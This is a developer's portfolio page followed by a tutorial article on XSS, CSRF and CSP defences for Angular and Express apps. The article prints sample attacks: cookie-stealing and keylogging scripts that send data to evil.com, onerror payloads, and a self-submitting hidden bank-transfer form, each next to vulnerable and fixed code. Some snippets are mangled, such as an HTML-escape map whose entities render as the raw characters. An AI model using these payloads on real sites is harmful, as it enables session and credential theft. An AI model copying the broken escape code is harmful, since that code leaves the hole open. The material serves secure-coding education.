I create modern web applications and custom digital tools to help businesses grow through technological innovation. My passion is combining computer science and economics to generate real value.
My passion for computer science was born at the Technical Commercial Institute of Maglie, where I discovered the power of programming and the fascination of creating digital solutions. From the start, I understood that computer science was not just code, but an extraordinary tool for turning ideas into reality.
During my studies in Business Information Systems, I began to interweave computer science and economics, understanding how technology can be the engine of growth for any business. This vision accompanied me to the University of Bari, where I obtained my degree in Computer Science, deepening my technical skills and passion for software development.
Today I put this experience at the service of businesses, professionals and startups, creating tailor-made digital solutions that automate processes, optimize resources and open new business opportunities. Because true innovation begins when technology meets the real needs of people.
My Skills
Data Analysis & Predictive Models
I transform data into strategic insights with in-depth analysis and predictive models for informed decisions
Process Automation
I create custom tools that automate repetitive operations and free up time for value-added activities
Custom Systems
I develop tailor-made software systems, from platform integrations to customized dashboards
Credo fermamente che l'informatica sia lo strumento più potente per trasformare le idee in realtà e migliorare la vita delle persone.
Democratizzare la Tecnologia
La mia missione è rendere l'informatica accessibile a tutti: dalle piccole imprese locali alle startup innovative, fino ai professionisti che vogliono digitalizzare la propria attività. Ogni realtà merita di sfruttare le potenzialità del digitale.
Unire Informatica ed Economia
Non è solo questione di scrivere codice: è capire come la tecnologia possa generare valore reale. Intrecciando competenze informatiche e visione economica, aiuto le attività a crescere, ottimizzare processi e raggiungere nuovi traguardi di efficienza e redditività.
Creare Soluzioni su Misura
Ogni attività è unica, e così devono esserlo le soluzioni. Sviluppo strumenti personalizzati che rispondono alle esigenze specifiche di ciascun cliente, automatizzando processi ripetitivi e liberando tempo per ciò che conta davvero: far crescere il business.
Trasforma la Tua Attività con la Tecnologia
Che tu gestisca un negozio, uno studio professionale o un'azienda, posso aiutarti a sfruttare le potenzialità dell'informatica per lavorare meglio, più velocemente e in modo più intelligente.
Bari, Puglia, Italy · Hybrid
Analysis and development of computer systems through the use of Java and Quarkus in Health and Public Sector. Continuous training on modern technologies for creating customized and efficient software solutions and on agents.
💼
06/2022 - 12/2024
Software analyst and Back End Developer Associate Consultant
Links Management and Technology SpA
Experience analyzing as-is software systems and ETL flows using PowerCenter. Completed Spring Boot training for developing modern and scalable backend applications. Backend developer specialized in Spring Boot, with experience in database design, analysis, development and testing of assigned tasks.
💼
02/2021 - 10/2021
Software programmer
Adesso.it (prima era WebScience srl)
Experience in AS-IS and TO-BE analysis, SEO evolutions and website evolutions to improve user performance and engagement.
🎓
2018 - 2025
Degree in Computer Science
University of Bari Aldo Moro
Bachelor's degree in Computer Science, focusing on software engineering, algorithms, and modern development practices.
📚
2013 - 2018
Diploma - Corporate Information Systems
Technical Commercial Institute of Maglie
Technical diploma specializing in Business Information Systems, combining IT knowledge with business management.
Contattami
Hai un progetto in mente? Parliamone! Compila il form qui sotto e ti risponderò al più presto.
* Campi obbligatori. I tuoi dati saranno utilizzati solo per rispondere alla tua richiesta.
02 - XSS, CSRF and CSP: Essential Frontend Security
The frontend is the first point of contact between the user and your application. Every input
field, every URL, every HTTP request represents a potential attack vector. In 2025, with Single
Page Applications (SPAs), Progressive Web Apps (PWAs), and hybrid SSR/CSR architectures, the
frontend attack surface has expanded enormously. Three acronyms dominate frontend security:
XSS (Cross-Site Scripting), CSRF (Cross-Site Request Forgery),
and CSP (Content Security Policy). Mastering these three areas means protecting
your users from session theft, unauthorized actions, and malicious code injection.
In this article, we will analyze each attack in depth, with real-world examples of vulnerable
and secure code, practical configurations, and a complete checklist to secure your Angular
application.
What You Will Learn
The three types of XSS (Reflected, Stored, DOM-based) with real payload examples
How CSRF attacks work and why cookies alone are not enough
All CSP directives with practical configurations for Angular, Express, and Nginx
Essential HTTP security headers and how to configure them
Angular's built-in XSS and CSRF protections and how not to disable them
Why 86% of AI-generated code fails XSS security tests
Professional tools for testing frontend security
The Modern Frontend Attack Surface
A modern web application is no longer a simple HTML page served by the server. SPAs built with
Angular, React, or Vue handle routing, state, authentication, and business logic directly in
the browser. This shifts a significant portion of the attack surface from the server to the
client.
Here are the main attack vectors in the modern frontend:
Unsanitized user input: text fields, URLs, query strings, fragment hashes, cookies, HTTP headers, file uploads, localStorage, WebSocket messages
Dynamic DOM rendering:innerHTML, document.write(), unescaped template strings, conditional rendering based on external data
Third-party dependencies: JavaScript libraries loaded from CDNs, analytics scripts, social widgets, external fonts
Cross-origin communication: API requests, postMessage, iframe embedding, WebSocket connections
Local storage: localStorage, sessionStorage, IndexedDB can contain sensitive data accessible by malicious scripts
Critical Data Point: Frontend Attack Incidence
According to the HackerOne 2025 report, Cross-Site Scripting remains the most
reported vulnerability in bug bounty programs, accounting for 18% of all reports.
CSRF follows at 7%. Together, these two attacks constitute a quarter of all vulnerabilities
found by professional security researchers.
Cross-Site Scripting (XSS): The Most Common Attack
Cross-Site Scripting (XSS) occurs when an attacker manages to inject and
execute JavaScript code in another user's browser, within the context of a trusted website.
The attack exploits the trust that the user's browser has in the site: the injected code
runs with the same privileges as the application's legitimate JavaScript, and can therefore
access cookies, sessions, tokens, and any data present on the page.
There are three main variants of XSS, each with a different injection mechanism:
1. Reflected XSS (Non-Persistent)
Reflected XSS occurs when user input is included in the server's HTTP
response without sanitization. The malicious payload is contained in the URL and is
"reflected" in the HTML page. The attacker must convince the victim to click on a specially
crafted link (phishing, social engineering).
Reflected XSS - URL with malicious payload
// The attacker crafts this URL and sends it to the victim:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// The server generates the page with the unsanitized search term:
<h2>Results for: <script>fetch('https://evil.com/steal?...')</script></h2>
// The victim's browser executes the script: the session cookie
// is sent to the attacker's server
Vulnerable vs secure server - Reflected XSS
// VULNERABLE: the parameter is inserted directly into HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Results for:
#123;query}</h2>
<div id="results">...</div>
`);
});
// SECURE: output encoding with HTML character escaping
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Results for: #123;query}</h2>
<div id="results">...</div>
`);
});
// <script> becomes <script> - it won't execute
2. Stored XSS (Persistent)
Stored XSS is the most dangerous variant. The malicious payload is permanently
saved in the server's database (for example, in a comment, user profile, or message) and is
served to every user who views that resource. It does not require the victim to click on a
special link: simply visiting the contaminated page is enough.
Stored XSS - Comment Injection
// The attacker posts this comment on the blog:
const maliciousComment = `
Great article!
<img src="x" onerror="
// Keylogger: captures everything the user types
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABLE: the comment is saved and rendered without sanitization
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // No sanitization!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// On the blog page, the comment is inserted with innerHTML:
commentDiv.innerHTML = comment.text; // The script executes!
// SECURE: sanitization on both input and output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Input sanitization: remove dangerous tags
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// On output: use textContent instead of innerHTML when possible
commentDiv.textContent = comment.text;
3. DOM-based XSS
DOM-based XSS is the most insidious variant because the payload never
passes through the server. The attack happens entirely in the browser: legitimate JavaScript
code on the page reads data from a source controlled by the attacker (URL, fragment hash,
document.referrer, postMessage) and inserts it into the DOM without
sanitization.
DOM-based XSS - document.location manipulation
// VULNERABLE: reads from fragment hash and inserts into DOM
// Malicious URL: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// The browser executes the code in the onerror attribute!
// VULNERABLE: document.referrer used as sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Go back</a>';
// document.referrer can contain XSS payloads
// VULNERABLE: postMessage without origin validation
window.addEventListener('message', (event) => {
// Accepts messages from any origin!
document.getElementById('widget').innerHTML = event.data.html;
});
// SECURE: sanitization and validation
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, not innerHTML
// SECURE: postMessage with origin validation
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Reject messages from untrusted origins
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
Real-World Impact of XSS Attacks
A successful XSS attack can cause enormous damage. Here is what an attacker can do once
they execute JavaScript in the victim's browser:
Attack Type
Description
Severity
Session Hijacking
Stealing the session cookie to impersonate the user
Critical
Keylogging
Capturing every keystroke the user types (passwords, credit cards)
Critical
Defacement
Modifying visible page content to damage reputation
High
Phishing
Injecting fake login forms to steal credentials
Critical
Crypto Mining
Running cryptocurrency miners in the victim's browser
Medium
XSS Worm
Self-propagating script that infects other users' profiles
Critical
Data Exfiltration
Reading and sending sensitive data from the page (tokens, personal data)
Critical
XSS Prevention: Defense in Depth
XSS prevention requires a defense-in-depth approach: do not rely on a single
layer of defense, but combine multiple complementary techniques. The goal is to ensure that
no untrusted data can ever be interpreted as code by the browser.
1. Output Encoding (First Line of Defense)
Output encoding transforms special characters into safe HTML entities before inserting them
into the DOM. It is the most important defense against Reflected and Stored XSS.
Output Encoding - Different contexts require different encoding
// HTML context: escape HTML characters
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// HTML attribute context
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// URL context: encode parameters
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// JavaScript context: JSON.stringify with escaping
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// CSS context: avoid user input in CSS entirely
// NEVER do: element.style.background = userInput;
2. Input Sanitization with DOMPurify
When you need to accept HTML from users (rich-text editors, markdown), use
DOMPurify to remove any dangerous tags or attributes.
Angular provides robust, built-in XSS protection. The framework treats all values
as untrusted by default and automatically sanitizes them before inserting them into
the DOM. This protection works on interpolation, property binding, and attribute binding.
Angular - Automatic sanitization and controlled bypass
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SAFE: Angular escapes automatically -->
<p>Comment: {{ userComment }}</p>
<!-- SAFE: Angular sanitizes innerHTML automatically -->
<div [innerHTML]="userComment"></div>
<!-- <script> and onerror are removed automatically -->
<!-- SAFE: textContent does not interpret HTML -->
<div [textContent]="userComment"></div>
<!-- DANGEROUS: bypassing the sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Text</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: ONLY for content you control 100%
// Never use with user input!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Internally controlled content</div>'
);
}
}
When Angular Does NOT Protect You
Using bypassSecurityTrustHtml/Script/Style/Url/ResourceUrl with user data
Direct DOM manipulation with ElementRef.nativeElement.innerHTML
Using document.write() or eval()
Dynamic URL construction with javascript: protocol
Server-side rendering without encoding (Angular Universal custom templates)
4. React JSX Auto-Escaping
React also provides built-in XSS protection. JSX automatically escapes all rendered values.
The only exception is the dangerouslySetInnerHTML prop, which bypasses the
protection (the name itself is a warning).
React - Secure vs dangerous comparison
// SAFE: JSX escapes automatically
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> becomes visible text
}
// DANGEROUS: bypasses React's protection
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// If html contains <script>, it will execute!
}
// SAFE: sanitize before using dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Cross-Site Request Forgery (CSRF): The Invisible Attack
CSRF (Cross-Site Request Forgery) is an attack that forces an authenticated
user's browser to send an unintended request to a site where they are already logged in. Unlike
XSS, CSRF does not inject code into the victim site: it exploits the fact that the browser
automatically sends session cookies with every request to the associated domain, regardless
of which site generated the request.
How a CSRF Attack Works
The flow of a CSRF attack follows these steps:
The user authenticates on bank.example.com and receives a session cookie
The user visits a malicious site (evil.example.com) in another tab
The malicious site contains a hidden form or an image that generates a request to bank.example.com
The browser automatically sends the user's session cookie with the request
The bank's server receives an apparently legitimate request and executes it
CSRF Attack - Forced bank transfer example
<!-- Malicious page on evil.example.com -->
<html>
<body>
<h1>Congratulations! You've won a prize!</h1>
<!-- Hidden form that initiates a bank transfer -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- The form is submitted automatically -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternative: image that generates a GET (less dangerous) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
Why Cookies Are Not Enough
Cookies are automatically sent by the browser with every request to the domain that
issued them. The server cannot distinguish a legitimate request from a CSRF request just
by looking at the cookie: both contain a valid session cookie. Additional mechanisms are
needed to verify that the request originated from the legitimate site.
CSRF Prevention: Four Fundamental Techniques
1. SameSite Cookie Attribute
The SameSite attribute on cookies is the most modern and effective CSRF defense.
It controls when the browser sends the cookie with cross-site requests.
SameSite Value
Behavior
CSRF Protection
Strict
Cookie sent only for same-site requests. Never sent for cross-site requests, not even for normal links
Maximum
Lax
Cookie sent for top-level navigation GET (links), but NOT for POST, iframe, or cross-site AJAX requests
Good (default in Chrome)
None
Cookie always sent (requires Secure). Necessary for legitimate cross-site integrations
The classic and most robust pattern: the server generates a unique random token per session,
includes it in the form as a hidden field, and verifies it with every POST request. A
malicious site cannot know the token because it does not have access to the legitimate
site's DOM.
CSRF Token - Server-side implementation
import crypto from 'crypto';
// Middleware: generate CSRF token and save to session
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Make the token available in templates
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: validate CSRF token on POST/PUT/DELETE requests
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
}
next();
}
// In the HTML form:
// <input type="hidden" name="_csrf" value="GENERATED_TOKEN">
3. Double Submit Cookie Pattern
A stateless alternative: the server sends the CSRF token both as a cookie and as a form field.
Upon receipt, it verifies that both values match. A malicious site can send the cookie (the
browser does this automatically), but it cannot read the cookie's value to include it in
the request body.
Double Submit Cookie Pattern
import crypto from 'crypto';
// The server generates the token and sends it as a cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // The site's JavaScript must be able to read it
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validation: the cookie value must match the header value
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. Origin/Referer Header Validation
Verify that the request's Origin or Referer header matches the
site's domain. This is an additional defense, not a primary one, because these headers can
be absent in some contexts.
Origin/Referer header validation
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: if origin is missing, reject the request
return res.status(403).json({ error: 'Origin header missing' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Unauthorized origin' });
}
}
next();
}
CSRF Protection in Angular
Angular provides built-in CSRF support through HttpClient. When the server
sends an XSRF-TOKEN cookie, Angular automatically reads it and includes it
as an X-XSRF-TOKEN header in every mutative request (POST, PUT, DELETE, PATCH).
Angular XSRF - Automatic configuration
// app.config.ts - Angular reads XSRF-TOKEN and sends X-XSRF-TOKEN automatically
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Cookie name (default)
headerName: 'X-XSRF-TOKEN' // Header name (default)
})
)
]
};
// Express server: set the XSRF-TOKEN cookie
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular must be able to read it
secure: true,
sameSite: 'lax'
}
}));
Content Security Policy (CSP): The Ultimate XSS Defense
Content Security Policy (CSP) is an HTTP header that allows you to control
which resources the browser can load and execute. It is the most powerful defense against XSS
because it operates at the browser level: even if an attacker manages to inject a
<script> into the DOM, the browser will refuse to execute it if it is not
authorized by the CSP policy.
CSP works on a whitelist principle: you explicitly define which sources are
authorized for each type of resource (scripts, styles, images, fonts, connections). Everything
that is not explicitly permitted is blocked.
CSP via Header vs Meta Tag
Two ways to set CSP
// 1. HTTP Header (preferred - more secure, supports report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. HTML Meta tag (fallback if you can't control headers)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTE: the meta tag does NOT support frame-ancestors and report-uri
Detailed CSP Directives
Directive
Controls
Example
default-src
Fallback for all other unspecified directives
'self'
script-src
JavaScript script sources
'self' 'nonce-abc123'
style-src
CSS stylesheet sources
'self' https://fonts.googleapis.com
img-src
Image sources
'self' data: https:
connect-src
URLs for fetch, XHR, WebSocket, EventSource
'self' https://api.example.com
font-src
Font sources
'self' https://fonts.gstatic.com
frame-src
Sources for iframes
'none'
frame-ancestors
Who can embed the page in an iframe
'none' (anti-clickjacking)
base-uri
Valid URLs for the <base> tag
'self'
form-action
Valid URLs for form action attributes
'self'
object-src
Sources for plugins (Flash, Java Applets)
'none'
Nonce and strict-dynamic: Modern CSP
The nonce system is the most secure way to authorize specific scripts. The server
generates a random value for each request and includes it in both the CSP header and the
script's nonce attribute. Only scripts with the correct nonce are executed.
CSP with nonce and strict-dynamic
import crypto from 'crypto';
// Express middleware: generate a nonce for each request
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-#123;nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// In the HTML template:
// <script nonce="GENERATED_NONCE">...legitimate code...</script>
// With 'strict-dynamic': scripts loaded by nonce-bearing scripts
// are automatically authorized (cascading trust)
Why to Avoid 'unsafe-inline' for Scripts
The 'unsafe-inline' directive in script-src almost completely
negates CSP protection against XSS. It allows execution of any inline script, including
those injected by an attacker. If you need inline scripts, use nonce or
hash instead of 'unsafe-inline'. For styles,
'unsafe-inline' is often necessary and less dangerous.
CSP Report-Only Mode
Before activating CSP in production, use Content-Security-Policy-Report-Only
to monitor violations without blocking them. This allows you to identify and resolve
compatibility issues before enforcing the policy.
Beyond CSP, there are other HTTP headers that significantly strengthen your application's
security. Each one protects against a specific type of attack.
Angular implements a robust security system that protects developers from the most common
vulnerabilities. It is important to understand how it works to avoid inadvertently
disabling it.
Automatic DOM Sanitization
Angular classifies values into five security contexts and applies
different sanitization for each:
Context
Bypass Method
When to Use
HTML
bypassSecurityTrustHtml()
HTML content from a trusted CMS
Style
bypassSecurityTrustStyle()
Dynamic styles computed internally
URL
bypassSecurityTrustUrl()
URLs built from internal logic
Resource URL
bypassSecurityTrustResourceUrl()
URLs for scripts/iframes from trusted CDNs
Script
bypassSecurityTrustScript()
Almost never - extremely dangerous
Angular Security Contexts - Safe vs dangerous usage
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SAFE: Angular sanitizes automatically -->
<div [innerHTML]="htmlContent"></div>
<!-- SAFE: textContent does not interpret HTML -->
<span [textContent]="userInput"></span>
<!-- SAFE with controlled bypass -->
<iframe [src]="safeSrc"></iframe>
<!-- DANGEROUS: never do this -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular removes <script>, keeps <b>
userInput = '<script>alert(1)</script>';
// Rendered as visible text
// SAFE: hardcoded and trusted URL
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// DANGEROUS: NEVER with user input
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Could contain XSS!
);
private getUserInput(): string {
return ''; // Simulation
}
}
HttpClient XSRF Protection
Angular's HttpClient module natively supports CSRF protection through the
double-submit cookie mechanism. To activate it, the server just needs to set the
XSRF-TOKEN cookie: Angular will automatically read it and include it as the
X-XSRF-TOKEN header in every POST, PUT, DELETE, and PATCH request.
Angular generates inline styles for components (part of View Encapsulation). This requires
'unsafe-inline' in style-src, which fortunately is much less
dangerous than 'unsafe-inline' in script-src. For scripts, always
use the nonce system.
OWASP ZAP - Automated scanning from the command line
# Quick scan with OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Full scan with authentication
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# CI/CD pipeline integration (GitHub Actions)
# Add as a step in your workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
Vulnerabilities in AI-Generated Code
The massive adoption of tools like Copilot, ChatGPT, and Claude for code generation has
introduced a new risk: these tools often generate code that works correctly but contains
security vulnerabilities. According to the GenAI Code Security Report 2025 by
Veracode, the statistics are alarming.
AI Code Security Statistics
86% failure rate for Cross-Site Scripting (CWE-80) - AI-generated code almost never includes XSS sanitization
88% failure rate for Log Injection (CWE-117) - user data is logged without sanitization
72% failure rate for AI-generated Java code
45% average failure rate across all tested languages
38-45% failure rate specific to Python, JavaScript, and C#
Example: AI-generated code typically vulnerable to XSS
// TYPICAL AI OUTPUT: works but is vulnerable
// "Create an endpoint that displays search results"
app.get('/search', (req, res) => {
const query = req.query.q; // No sanitization!
const results = searchDatabase(query);
res.send(`
<h1>Results for: #123;query}</h1>
<ul>#123;results.map(r => `<li>#123;r.title}</li>`).join('')}</ul>
`);
});
// XSS: query and r.title are not sanitized
// CORRECTED VERSION (after security code review)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Results for: #123;query}</h1>
<ul>#123;results.map(r =>
`<li>#123;escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
Fundamental Rule for AI Code
AI-generated code is not secure by default. Treat every AI-generated
snippet like code written by a junior developer: it may work, but it always requires a
security review before going to production. Specifically verify: input
sanitization, output escaping, error handling (fail-closed), authorization checks, and
absence of hardcoded secrets.
Conclusions and Next Steps
Frontend security is not optional: it is a fundamental responsibility of every developer.
XSS, CSRF, and missing security headers represent real vulnerabilities that are exploited
daily. The good news is that the defenses exist, are well-documented, and frameworks like
Angular implement them natively.
The practical path to securing your frontend application:
Day 1: Configure security headers with Helmet and verify your score at securityheaders.com
Day 2: Implement CSP in Report-Only mode and analyze violation reports
Day 3: Review all points where you insert user data into the DOM: use textContent or sanitization
Day 4: Configure CSRF protection: SameSite cookies + Angular's XSRF token
Day 5: Run an OWASP ZAP scan on your staging application
Upcoming Articles in This Series
In the upcoming articles, we will dive deeper into other critical areas of web security:
Article 03: SQL Injection and Input Validation - Backend protection with parameterized queries and advanced validation
Article 05: API Security - Rate limiting, API keys, and REST/GraphQL API security
Security is an ongoing process, not a destination. Every framework update, every new
dependency, every line of code (human or AI-generated) can introduce a vulnerability. The
goal is not perfect security, but to build a defense in depth where every
layer slows down and blocks the attacker, making the attack economically unfavorable.